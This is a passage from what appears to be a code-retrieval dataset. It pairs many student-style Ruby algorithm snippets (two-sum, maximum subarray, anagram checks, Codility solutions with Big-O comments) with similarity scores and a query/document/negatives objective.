find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend", "def hash_two_sum(arr,target_sum)\n #creates a new hash with each element that is satisfying the target_sum\n hash = Hash.new(0) #{|h,k| h[k] = []}\n (0...arr.length).each { |i| hash[i] = arr[i]} #O(n)\nend", "def find_duplicate_space(nums)\n # sort nums first (lgn), then check for dups by iterate over (n)\n last_seen = 0\n nums.sort!.each do |num|\n return num if last_seen == num\n last_seen = num\n end\nend", "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "def equal(arr)\n size = arr.size\n hash = Hash.new{|h,k| h[k] = []}\n (0...size).each do |i|\n (i + 1...size - 1).each do |j|\n sum = arr[i] + arr[j]\n if hash.has_key?(sum)\n values = hash[sum]\n values << i\n values << j\n return values\n else\n hash[sum] = [i, j]\n end\n end\n end\nend", "def two_sum?(array, target)\n #O(n)\n hash = Hash.new(0)\n i = 1\n array.each do |ele|\n hash[ele] = i \n i += 1\n end\n hash.each_key do |k|\n return true if hash.has_key?(target - k) && hash[k] != hash[target - k]\n end\n false \nend", "def findDiffSquares(n)\n sum = 0\n (1..n).each { |i|\n (1..n).each { |j|\n sum += i*j unless i == j\n }\n }\n sum\nend", "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend", "def largest_contiguous_subsum(arr) #BigO of O(n)\n max = 0 \n current_sum = 0\n arr.each_with_index do |el,idx|\n if current_sum + el >= el \n current_sum += el \n else \n current_sum = el \n end \n max = current_sum if current_sum > max \n end \n max\nend", "def my_min_2(array)#O(n)\n array.inject do |acc, ele|#O(n)\n if acc < ele\n acc\n else\n ele\n end\n end\nend", "def efficient_contiguous_subsum(list)\n current_sum = list[0] #0\n largest_sum = list[0] #5\n # debugger\n (1...list.length).each do |i| \n if current_sum + list[i] > 0 \n current_sum += list[i] \n largest_sum = current_sum if current_sum > largest_sum\n else \n current_sum = 0\n end \n end \n largest_sum\nend", "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend", "def solution(a)\n len = a.size\n unique = {}\n i = 0\n while i < len\n item = a[i]\n if unique.has_key?(item)\n unique[item] += 1\n else\n unique[item] = 1\n end\n i += 1\n end\n pairs = 0\n unique.each do |key,count|\n (1...count).step {|n| pairs += n }\n end\n return pairs > 1_000_000_000 ? 1_000_000_000 : pairs\nend", "def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend", "def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend", "def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend", "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend", "def largest_contiguous_subsum1(list)\n p Time.now\n sub_arrays = []\n list.each_index do |i|\n list.each_index do |j|\n next if j < i\n sub_arrays << list[i..j]\n end\n end\n sub_arrays.map{|numbers| numbers.inject(:+)}.max\n p Time.now\nend", "def stones(n, a, b)\n ar=[0]\n (n-1).times do |val|\n tmp=[]\n ar.each do |v|\n tmp << v+a if !tmp.include?(v+a)\n tmp << v+b if !tmp.include?(v+b)\n end\n ar=tmp\n end\n ar.sort\nend", "def find_amicables(n)\n pairs = []\n sum = 0\n for i in 0..n do \n next if pairs.include? i\n d = sum_proper_divisors(i)\n next if d == i\n p = sum_proper_divisors(d)\n if p == i \n pairs << d\n pairs << i\n sum += d + i\n end\n end\n return sum\nend", "def third_anagram?(str1, str2)\n beginning_time = Time.now\n str1.split(\"\").sort == str2.split(\"\").sort #O(nlogn)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend", "def largest_contiguous_subsum2(list)\n # O(N) ==> Time\n # O(1) ==> Space\n largest = list.first\n curr = list.first\n\n len = list.length\n (1...len).each do |i|\n curr = 0 if curr < 0 \n curr += list[i]\n largest = curr if curr > largest\n end\n largest\nend", "def largest_contiguous_sub_sum2(arr)\n #one varable tracks largest sum\n #one variable tracks current sum\n #O(n) + O(1)\n # list = [2, 3, -6, 7, -6, 7]\n\n # largest_sum= arr.first\n\n # i = 0\n # arr_end = true\n\n # while arr_end\n # current_sum = arr[i]\n # if arr[i+1] == nil\n # arr_end = false\n # puts \"This is current sum: #{current_sum}\"\n # else\n # if current_sum > largest_sum\n # current_sum += arr[i+1]\n # largest_sum = current_sum\n # end\n # end\n # if i < arr.length\n # arr_end = true\n # i += 1\n # end\n # end\n # largest_sum\n \n\n\n # arr.each_with_index do |ele, idx|\n # if ele > largest_sum\n # largest_sum = ele\n # end\n\n # i = idx\n # sum = ele\n # while i < arr.length - 1\n # if sum <= sum + arr[i+1]\n # largest_sum = sum + arr[i+1]\n # end\n # sum = sum + arr[i+1]\n # i+=1\n # end\n # end\n # largest_sum\n\nend", "def find3(a, X)\n # scan through array\n # build hash storing complement in each key\n complements = {}\n a.each_with_index do |val, ind|\n if complements[X - val]\n complements[X - val].push(ind)\n else\n complements[X - val] = [ind]\n end\n end\n\n # scan through the array again\n # get complement\n # for each value scan the remainder of the arrray\n # for a value such taht a + b = the complement\n\n # for each character we have built a dictionary such that, we can find\n # x = a + complement\n\n # [1, 2, 3]\n # 1 + 2 = 3\n # 1 + 3 = 4 =>\n\n # for each value in the array (a) look at all following values (b) and see if a + b\n # is in the dictionary, if it is, check that their indices do not collide with the index\n # stored at dict(a+b)\n\n a.each_with_index do |va, i|\n a.each_with_index do |vb, j|\n break if i == j\n\n complement = va + vb\n indices = complements[complement]\n\n indices.each do |z|\n # every index is unique\n return [i, j, z] unless z == i || z == j\n end\n end\n end\n\n return nil\nend", "def three_sum(nums)\n n = nums.length\n result = []\n for i in 0...n-2\n req_sum = 0\n hsh = Hash.new\n curr_sum = req_sum - nums[i]\n \n for j in (i+1)...n\n num = curr_sum - nums[j]\n if hsh[num]\n elements = [nums[i], num, nums[j]].sort\n result << elements unless result.include?(elements)\n end\n hsh[nums[j]] = true\n end \n end\n result\nend", "def three_sum_fast(arr)\n arr = merge_sort(arr)\n count = 0\n\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n if bin_search(arr, -arr[i] - arr[j]) > j\n count += 1\n end\n }\n }\n count\nend", "def sum_upon_sums(array)\n # Step 0: initialize variables => O(1)\n max = -1\n sum = 0\n\n # Step 1: Get Max and Sum => O(n)\n array.each do |num|\n max = num if num >= max\n sum += num\n end\n\n # Step 2: Get summation => O(1)\n summation = max * (max + 1) / 2\n\n # Step 3: Return Missing value by subtracting summation and sum => O(1)\n summation - sum\nend", "def main\n\n sum = 0\n\n (0..999).each do |i|\n sum += check(i)\n end\n\n puts \"Total - O(n) #{sum}\"\n\n # Needed to refresh following: https://en.wikipedia.org/wiki/Arithmetic_progression\n sum2 = sum_multiples(3, 1000) + sum_multiples(5, 1000) - sum_multiples(15, 1000)\n\n # Refreshed Big O too : http://stackoverflow.com/questions/487258/plain-english-explanation-of-big-o \n puts \"Total - O(1) #{sum2}\"\n\nend", "def largest_contiguous_subsum_1(list) \n subs = [] #O(1)\n (0...list.length).each do |start_num| #O(n)\n (start_num...list.length).each do |end_num| #O(n)\n subs << list[start_num..end_num] #O(n)\n end\n end\n subs_sum = [] #O(1)\n subs.each do |sub| #O(n**2)\n sub_sum = 0 #O(1)\n sub.each {|s| sub_sum += s} #O(n)\n subs_sum << sub_sum #O(1)\n end\n subs_sum.inject do |acc,el| #O(n)\n if acc > el #O(1)\n acc #O(1)\n else\n el #O(1)\n end\n end\n end", "def running_time(array)\n cnt = 0\n (1...(array.length)).each do |x|\n y = x\n while y.positive?\n break unless array[y - 1] > array[y]\n\n temp_num = array[y]\n array[y] = array[y - 1]\n array[y - 1] = temp_num\n cnt += 1\n y -= 1\n end\n end\n cnt\nend", "def two_sum_v3?(arr, target) \n hash = Hash.new\n arr.each { |ele| hash[ele] = ele } #o(n)\n arr.each do |ele| #o(n)\n search_value = target - ele\n return true if !hash[search_value].nil? && hash[search_value] != ele\n end\n false\nend", "def naive_algorithm(arr)\n\tproduct = 0\n\tarr.each do |i|\n\t arr.each do |j|\n\t \tp = arr[i] * arr[j]\n\t \tproduct = p if product < p\n\t end\t\n\tend\t\t\n\tproduct\nend", "def remove_duplicates(nums)\n record_leng = 0\n uniq_arr = nums.uniq\n uniq_arr.each do |i|\n record_leng += 1 if count_great_two?(nums, i)\n end\n return (record_leng + uniq_arr.size)\nend", "def solution(a)\n a.uniq.count\nend", "def naive(array)\n max = -10000\n for i in (0..array.length - 1)\n for j in (i..array.length - 1)\n total = array[i..j].inject { |m,k| m + k }\n max = total if total > max\n end\n end\n max\nend", "def intersect nums1, nums2\n result = []\n return result if nums1.size == 0 or nums2.size == 0\n\n counter_cache = {}\n counter_cache = nums1.inject({}) { |result, n|\n result[n] ||= 0\n result[n] += 1\n result\n }\n\n nums2.each do |n|\n if counter_cache[n] and counter_cache[n] > 0\n result << n\n counter_cache[n] -= 1\n end\n end\n result\nend", "def fifth_anagram?(word1, word2) # O(n)\n \n p \"Running fifth_anagram...\" \n\n start = Time.now\n \n hash1 = Hash.new(0)\n # hash2 = Hash.new(0)\n\n word1.each_char {|char| hash1[char] += 1}\n word2.each_char {|char| hash1[char] += 1}\n\n hash1.values.all? {|v| v.even?}\n\n\n # puts \"Took #{Time.now - start} seconds\"\n\n \nend", "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend", "def my_min_2(nums) # O(n)\n smallest = 0\n nums.each do |num|\n smallest = num if num < smallest\n end\n smallest\nend", "def my_min2 # O(n) time complexity\n smallest = self.first\n self.each do |num|\n sleep(1)\n smallest = num if num < smallest \n end\n smallest\n end", "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n arr =[]\r\n a.each_with_index{|el,i|\r\n \r\n if !arr.index(el) \r\n arr << el\r\n end\r\n \r\n }\r\n arr.count\r\nend", "def solution_slow_2(n, p, q)\n sieve = sieve_of_erathosteneses(n)\n # puts \"sieve:#{sieve}\"\n semi = semiprimes(n, sieve)\n # puts \"sp:#{semi}\"\n prefix = [0,0,0,0,1]\n 5.upto(n) do |x|\n if semi.include? x \n prefix << prefix.last + 1\n else\n prefix << prefix.last\n end\n end\n # puts \"prefix:#{prefix}\"\n\n queries = [p,q].transpose\n\n\n res = queries.map do |query|\n prefix[query.last] - prefix[query.first - 1]\n end\n\n # puts \"res:#{res}\"\n\n res\n end", "def two_sum?(arr, target_sum)\n hash = {}\n arr.each do |ele|\n diff = target_sum - ele\n return true if hash.has_key?(diff) # O(1), or constant time\n hash[ele] = 0\n end\n false\nend", "def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend", "def lAS(n: 0)\n array = [1]\n puts \"#{array.inspect}\"\n previous = array.first\n new_array = []\n counter = 0\n \n n.times do\n previous = array.first\n counter = 0\n new_array = []\n \n array.each do |element|\n if(element == previous)\n counter = counter + 1\n else\n new_array << counter\n new_array << previous\n counter = 1\n previous = element\n end\n end\n \n new_array << counter\n new_array << previous\n array = new_array.dup\n puts \"#{array.inspect}\"\n end\nend", "def sub_sum_better(list)\n largest_sum = list.first\n\n #iterate over once.\n # as you iterate keep a tally of the sum.\n # indexing into an array is O(1)\n # [2, 3, -6, 7, -6, 7]\n\n sub_sum = 0\n list.each do |el|\n sub_sum += el\n largest_sum = sub_sum if sub_sum > largest_sum\n\n sub_sum = 0 if sub_sum < 0\n end\n\n largest_sum\nend", "def bad_two_sum?(arr, target)\n arr.each_with_index do |num1, idx1| #O(n)\n arr.each_with_index do |num2, idx2| #O(n)\n return true if idx2 > idx1 && num1 + num2 == target #O(1)\n end\n end\n false\nend", "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "def canBeSum(n, array, cache)\n\ti = 0\n\twhile array[i] <= n / 2\n\t\tif cache[n-array[i]] # array.include?(n-array[i]) is OK, but very slow\n\t\t\treturn true\n\t\tend\n\n\t\ti += 1\n\tend\n\n\treturn false\nend", "def better_subsum(arr) # o(n)\n largest = 0 \n sum = 0 \n i = 0 \n j = 0\n\n while i != arr.length-1\n largest += arr[j]\n sum = largest if largest > sum \n if j == arr.length-1 \n i+=1 \n j = i \n largest = 0 \n else\n j+=1\n end \n end \n sum \n end", "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend", "def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend", "def solution(a)\n min_val = 10_000\n min_pos = 0\n \n sums = [0]\n for i in (0..a.count - 1) \n sums << sums.last + a[i] \n end\n for p in (0..a.count - 2)\n for q in (p + 1..[p + 2, a.count - 1].min)\n s = (sums[q + 1] - sums[p]).to_f / (q - p + 1)\n if s < min_val\n min_val = s\n min_pos = p\n end\n end\n end\n min_pos\nend", "def fast_hash_additive_find(arr, target)\n lookup_table = Hash.new\n\n arr.each do |element|\n return true if lookup_table[target - element]\n if lookup_table[element]\n lookup_table[element] += 1\n else\n lookup_table[element] = 1\n end\n end\n\n return false\n end", "def move_zeros(array)\n zero_count = 0\n # O(n)\n array.each do |num|\n\n zero_count += 1 if num == 0\n end\n\n # O(n)\n array = array.select { |num| num != 0 }\n \n # O(1)\n zero_count.times do\n array += [0]\n end\n\n array\nend", "def largest_cont_subsum_fast(list)\n # for constant size to be true, you cant create any variables\n # whose memory size depends on the size of the input\n curr_sum = list[0]\n largest_sum = list[0]\n\n # we know there are n^2 potential, so if we ever check all of them\n # it must be n^2\n\n # there must be a way to find the max without checking every subarray\n list[1..-1].each do |ele|\n # debugger\n if curr_sum > largest_sum\n largest_sum = curr_sum\n end\n\n if curr_sum < 0\n curr_sum = 0\n end\n\n curr_sum += ele\n\n end\n\n # debugger\n return [largest_sum, curr_sum].max\n\nend", "def my_min1(arr)\n arr.each do |el1| #O(n)\n if arr.all? {|el2| el1 <= el2 } #O(n + 1)\n return el1\n end\n end \nend", "def find_duplicates(a)\n len=a.length\n n=len-2\n xor= 0\n x,y=0,0 #variables to store duplicates\n \n #xor of all numbers from 1 to n\n for i in 1..n \n xor^=i\n end\n #xor of all array elements\n for i in 0...len \n xor^=a[i]\n end\n #Rightmost set bit\n set_bit_pos= xor & ~(xor-1)\n #Divinding array in two sets ,one with set bit at set_bit_pos and other with 0.\n for i in 0...len\n if (a[i] & set_bit_pos == 0)\n x^=a[i] # XOR of first-set(with 0 at set_bit_pos) in array\n else\n y^=a[i] # XOR of second-set(with 1 at set_bit_pos) in array\n end\n end\n \n for i in 0..n\n if (i & set_bit_pos == 0)\n x^=i # XOR of first-set(with 0 at set_bit_pos) in range\n else\n y^=i # XOR of second-set(with 1 at set_bit_pos) in range\n end\n end\n print \"#{x} #{y}\"\n\treturn\nend", "def second_anagram?(word_1, word_2) #O(n^2)\n matching_word = word_2.split(\"\")\n\n word_1.each_char do |ele|\n if matching_word.index(ele) #evaluating the conditional\n matching_word.delete_at(matching_word.index(ele)) #n many times, do this\n end\n end\n\n matching_word.empty? #constant O(1)\nend", "def my_min_2(arr) #O(N)\n min_num = arr.first\n \n arr.each { |num| min_num = num if num < min_num }\n \n min_num\n end", "def largest_contiguous_subsum_2(list)\n largest_sum = 0\n current_sum = 0\n\n list.each do |el|\n largest_sum = current_sum \n current_sum += el \n if current_sum < el \n current_sum = el \n end \n largest_sum = current_sum if largest_sum < current_sum\n end\n\n largest_sum\nend", "def solution(a)\n # write your code in Ruby 2.2\n seen = {}\n\n a.each do |number|\n seen[number] = true\n end\n\n max = a.max\n\n for i in 1..(max + 1)\n return i unless seen[i]\n end\n\n 1\nend", "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "def solution(a)\n a.sort!\n a.each_with_index do |element, index|\n return 0 if element != index + 1\n end\n 1\nend", "def two_sum?(arr, target)\r\n hash = {}\r\n arr.each_with_index do |ele, i| #n\r\n hash[i] = ele\r\n end\r\n arr.each_with_index do |ele, i| #n \r\n value = target - ele\r\n if hash.has_value?(value) && hash.key(value) != i\r\n return true\r\n end\r\n # all the keys in has except i\r\n # if any of the value = value\r\n end\r\n false\r\nend", "def seesaw2?(arr)\n left_sum = 0\n right_sum = arr.size > 1 ? arr[1..-1].reduce(:+) : 0\n\n arr.each_index do |i| #O(n)\n return true if left_sum == right_sum\n left_sum += arr[i]\n i < arr.size-1 ? right_sum -= arr[i+1] : right_sum = 0\n end\n return false\nend", "def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end", "def pairSumSequence(n)\n sum = 0\n\n for i in 0..n\n # pairSum calls do not exist simultabeously on\n # the call stack, so you only need O(1) space\n sum += pairSum(i, i + 1)\n puts \"sum += (#{i + i + 1}) #{i} + #{i} + 1 \"\n end\n\n return sum\nend", "def my_min(arr) # Find\n min = arr[0]\n\n arr.each do |el| # Go through array once O(n)\n min = el if el < min # update min while going through if found min\n end\n min\nend", "def better_sum?(arr, target)\n pair_set = Set.new\n\n arr.each do |ele|\n if pair_set.include?(ele)\n return true\n else\n pair_set << target - ele\n end\n end\n\n false\n\nend", "def arrayManipulation(n, queries)\n nums = Array.new(n+1, 0)\n queries.each do |query|\n nums[query[0]-1] += query[2]\n nums[query[1]] -= query[2]\n end\n\n max = nums.first\n (1..nums.length-1).each do |i|\n nums[i] += nums[i - 1]\n max = nums[i] if nums[i] > max && i < (nums.size - 1)\n end\n\n max\nend", "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend", "def find_it(seq)\n uniqueInts=seq.uniq\n\n uniqueInts.each do |value|\n k=0\n seq.each do |mainSeq|\n k+=1 if mainSeq==value\n end\n return value if k%2==1\n end\nend", "def largest_contiguous_subsum(list)\n new_arr = []\n\n (0...list.length).each do |idx1| #O(n)\n (0...list.length).each do |idx2| #O(n)\n if idx2 >= idx1 #O(1)\n new_arr << list[idx1..idx2].sum #O(1)\n end \n end \n \n end \n \n return new_arr.max #O(n)\nend", "def unique_items(arr) #O(n)\n hash = Hash.new(0)\n results = []\n arr.each do |el|\n hash[el] += 1\n end\n hash.select { |k, v| k if v == 1 }.keys\nend", "def largest_contiguous_subsum_fast(list)\n start = Time.now\n max_sum = list[0]\n cur_sum = list[0]\n list[1..-1].each do |el|\n if el >= cur_sum && cur_sum < 0\n cur_sum = el\n else\n cur_sum += el\n end\n max_sum = cur_sum if cur_sum > max_sum\n end\n finish = Time.now\n puts \"Runtime: #{finish - start}\"\n return max_sum\nend", "def fast_lcss(arr)\n i_arr = []\n biggest = 0\n max_sub_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sum = i_arr.inject(0) do |a, b|\n a + b\n end\n max_sub_arr = i_arr if sum > biggest\n biggest = sum if sum > biggest \n end\n i_arr = []\n arr.shift\n end\n max_sub_arr\nend", "def sum_to_n? arr, n\n #arr.product(arr).any? {|c| sum(c) == n && c[0] != c[1] } ----1.3\n arr = arr.sort\n low = 0\n high = arr.length - 1\n while low < high\n if arr[low] + arr[high] == n\n return true\n end\n arr[low] + arr[high] < n ? low += 1 : high -= 1 \n end\n return false\nend", "def two_sum(nums, target)\n table = {}\n i = 0\n while i < nums.length\n table[target - nums[i]] = i\n i += 1\n end\n \n j = 0\n while j < nums.length\n if table.key?(nums[j]) && j != table[nums[j]]\n return [j, table[nums[j]]] \n end\n j += 1\n end\nend", "def josephus_survivor(n,k)\n arr = (1..n).to_a\n\n while arr.length > 1\n idx = k % arr.length\n\n if arr.length > k\n arr = arr.drop(k) + arr.take(k - 1)\n elsif arr.length == k \n arr = arr[0...-1]\n else\n arr = arr.drop(idx) + arr.take(idx - 1)\n end\n end\n \n arr[0]\nend", "def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)#O(1)\n beginning_time = Time.now\n str1.each_char {|char| hash1[char]+=1}#O(n)\n str2.each_char {|char| hash1[char]-=1}#O(n)\n hash1.all? {|_, v| v.zero?}#O(n)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def largest_contiguous_subsum(list) # O(n^2)\n array = []\n list.each_with_index do |ele1, i1| # O(n^2)\n (i1...list.length).each do |i2|\n array << list[i1..i2]\n end\n end\n\n max_sum = array.first.sum\n array[1..-1].each do |subarr| # O(n^2)\n sum = subarr.sum\n if sum > max_sum\n max_sum = sum\n end\n end\n\n max_sum\n\nend", "def slow_solution(a)\n m = 0\n a.size.times do |i|\n a[i] = a[i].abs\n m = [a[i], m].max\n end\n maxsum = a.sum # sum of absolute val of all nums in array\n # maxsum = a.map(&:abs).sum <- Ruby shortcut\n\n # If dp = 1 at an index, it means some combo of elements in a add up to that index\n dp = [0] * (maxsum + 1)\n dp[0] = 1\n\n a.size.times do |j|\n maxsum.downto(0).each do |possible_sum|\n puts \"a[j]: #{a[j]}, possible sum: #{possible_sum}\"\n if (dp[possible_sum] == 1) and (possible_sum + a[j] <= maxsum)\n\n # if possible_sum + new element a[j] is possible sum, dp = 1!\n dp[possible_sum + a[j]] = 1\n puts \"Mark #{possible_sum + a[j]} as possible sum in dp\"\n end\n end\n puts \"row: #{j}, a[j]: #{a[j]}, dp: #{dp}\"\n puts\n end\n\n min_q_minus_p = maxsum\n\n # Divide array a into 2 parts, where P = sum of part 1 and Q = sum of part 2,\n # P + Q = maxsum, and P <= maxsum / 2 <= Q.\n # We want largest possible P to get smallest possible Q-P.\n\n # loop from 0 to maxsum / 2, covering every possible P, Q division\n (maxsum / 2 + 1).times do |possible_half_sum|\n # puts \"possible_half_sum: #{possible_half_sum}\"\n if dp[possible_half_sum] == 1 # means P or Q = possible_half_sum\n q_minus_p = maxsum - 2 * possible_half_sum\n # puts \"Q - P: #{q_minus_p}\"\n min_q_minus_p = [min_q_minus_p, q_minus_p].min\n # puts \"min Q - P: #{min_q_minus_p}\"\n end\n end\n\n min_q_minus_p\nend" ]
[ "0.6914348", "0.6609048", "0.6416534", "0.63194925", "0.62016535", "0.61871785", "0.60697335", "0.6059072", "0.6053246", "0.6047552", "0.6037029", "0.5990324", "0.5985229", "0.5983502", "0.59483737", "0.5907289", "0.58986485", "0.5894127", "0.589302", "0.5891029", "0.5862035", "0.58598244", "0.5858714", "0.5855247", "0.5843146", "0.58418566", "0.58414876", "0.5833874", "0.5817489", "0.5815855", "0.5806325", "0.580488", "0.5772253", "0.5772051", "0.57717395", "0.5765617", "0.57646245", "0.57498574", "0.5738152", "0.5717594", "0.5713044", "0.57074326", "0.5705395", "0.5694224", "0.56867945", "0.5683187", "0.5679512", "0.5672323", "0.5669691", "0.56692356", "0.56663734", "0.56610006", "0.5658108", "0.565659", "0.56565076", "0.56472635", "0.56471044", "0.5646928", "0.564319", "0.5639335", "0.5632905", "0.5631649", "0.56315875", "0.5626763", "0.5620871", "0.5610765", "0.56105435", "0.56097084", "0.5607952", "0.5605864", "0.5603876", "0.5602009", "0.559539", "0.5590729", "0.55905277", "0.5582398", "0.5571507", "0.55680686", "0.5566327", "0.55646074", "0.5564035", "0.55635667", "0.555963", "0.5559094", "0.5558474", "0.55533934", "0.5552461", "0.5547638", "0.55440915", "0.55439085", "0.5540858", "0.55365527", "0.5531126", "0.55287385", "0.55236286", "0.55215394", "0.55211776", "0.5519715", "0.5519587", "0.55128413", "0.5511962" ]
0.0
-1
Time Complexity: O(n) Space Complexity: O(n)
def postorder return postorder_helper(@root, []) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_dublicate(array)\n sum = 1000000*(1000000+1)/2 # (n*(n+1))/2\n array.each do |el| \n sum -= el\n end\n return sum\nend", "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend", "def largest_subsum(list)\n max = list[0] # O(1)\n current_sum = list[0] # O(1)\n\n (1...list.length).each do |i| # O(n)\n # debugger\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end \n current_sum += list[i] # O(1)\n if current_sum > max # O(1)\n max = current_sum # O(1)\n end\n end\n\n max # O(1)\n\nend", "def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend", "def three_sum_fastest(arr)\n count = 0\n\n (0..arr.length - 2).each { |i|\n set = Set.new\n\n (i + 1..arr.length - 1).each { |j|\n if set.include?(-arr[i] - arr[j])\n count += 1\n end\n\n set.add(arr[j])\n }\n }\n count\nend", "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "def largest_contiguous_subsum_2(list)# [2, 3, -6, 7, -6, 7]\n largest_num = list[0]#2 O(1)\n running_sum = list[0]#2 - 5 after entering loop. O(1)\n\n (1...list.length).each do |i| #O(n) \n running_sum = 0 if running_sum < 0 #O(1)\n running_sum += list[i] #O(1)\n largest_num = running_sum if running_sum > largest_num #O(1)\n end\n return largest_num #O(1)\nend", "def my_min(list) \n\n list.each_with_index do |ele, i| #O(n)\n compare_arr = list[0...i] + list[i+1..-1] # O(2n) \n 